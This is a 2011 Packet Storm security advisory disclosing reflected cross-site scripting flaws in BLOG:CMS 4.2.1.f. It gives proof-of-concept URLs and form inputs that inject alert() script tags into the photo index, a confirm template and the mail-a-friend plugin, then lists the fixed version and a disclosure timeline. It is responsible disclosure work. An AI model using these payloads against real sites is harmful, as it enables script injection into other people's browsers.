BLOG:CMS 4.2.1.f Cross Site Scripting

2011-06-07T00:00:00
ID PACKETSTORM:102060
Type packetstorm
Reporter Stefan Schurtz
Modified 2011-06-07T00:00:00

Description

                                        
                                            `Advisory: Multiple Cross-Site Scripting vulnerabilities in BLOG:CMS  
Advisory ID: SSCHADV2011-007  
Author: Stefan Schurtz  
Affected Software: Successfully tested on: version 4.2.1.f  
Vendor URL: http://www.blogcms.com  
Vendor Status: resolved  
CVE-ID: -  
  
==========================  
Vulnerability Description:  
==========================  
  
This is a Cross-Site Scripting vulnerability  
  
==================  
Technical Details:  
==================  
  
Firefox 3.6.17  
  
http://www.example.com/blogcms/photo/index.php?"<script>alert(0x0029A)</script>  
http://www.example.com/blogcms/photo/index.php?"<script>alert('XSS');</script>  
  
http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="<script>alert('XSS');</script>  
http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="<script>alert(0x0029A)</script>  
  
http://www.example.com/blogcms/admin/plugins/mailtoafriend/mailfriend.php  
  
>From [email]: <script>alert('XSS');</script>  
To [email]: <script>alert('XSS');</script>  
To [name]: <script>alert('XSS');</script>  
  
Firefox 4.0.1 / IE8  
  
http://www.example.com/blogcms/photo/index.php?"</script><script>alert('XSS');</script>  
http://www.example.com/blogcms/photo/index.php?"</script><script>alert(0x0029A)</script>  
  
http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="</script><script>alert('XSS');</script>  
http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="</script><script>alert(0x0029A)</script>  
  
http://www.example.com/blogcms/admin/plugins/mailtoafriend/mailfriend.php  
  
>From [email]: </script><script>alert('XSS');</script>  
To [email]: </script><script>alert('XSS');</script>  
To [name]: </script><script>alert('XSS');</script>  
  
=========  
Solution:  
=========  
  
Update to the latest version 4.2.1.g  
  
====================  
Disclosure Timeline:  
====================  
  
03-Jun-2011 - informed developers  
03-Jun-2011 - release date of this security advisory  
06-Jun-2011 - new version 4.2.1.g released  
07-Jun-2011 - post on BugTraq and Full-disclosure  
  
========  
Credits:  
========  
  
Vulnerabilities found and advisory written by Stefan Schurtz.  
  
===========  
References:  
===========  
  
http://www.blogcms.com  
http://www.rul3z.de/advisories/SSCHADV2011-007.txt  
`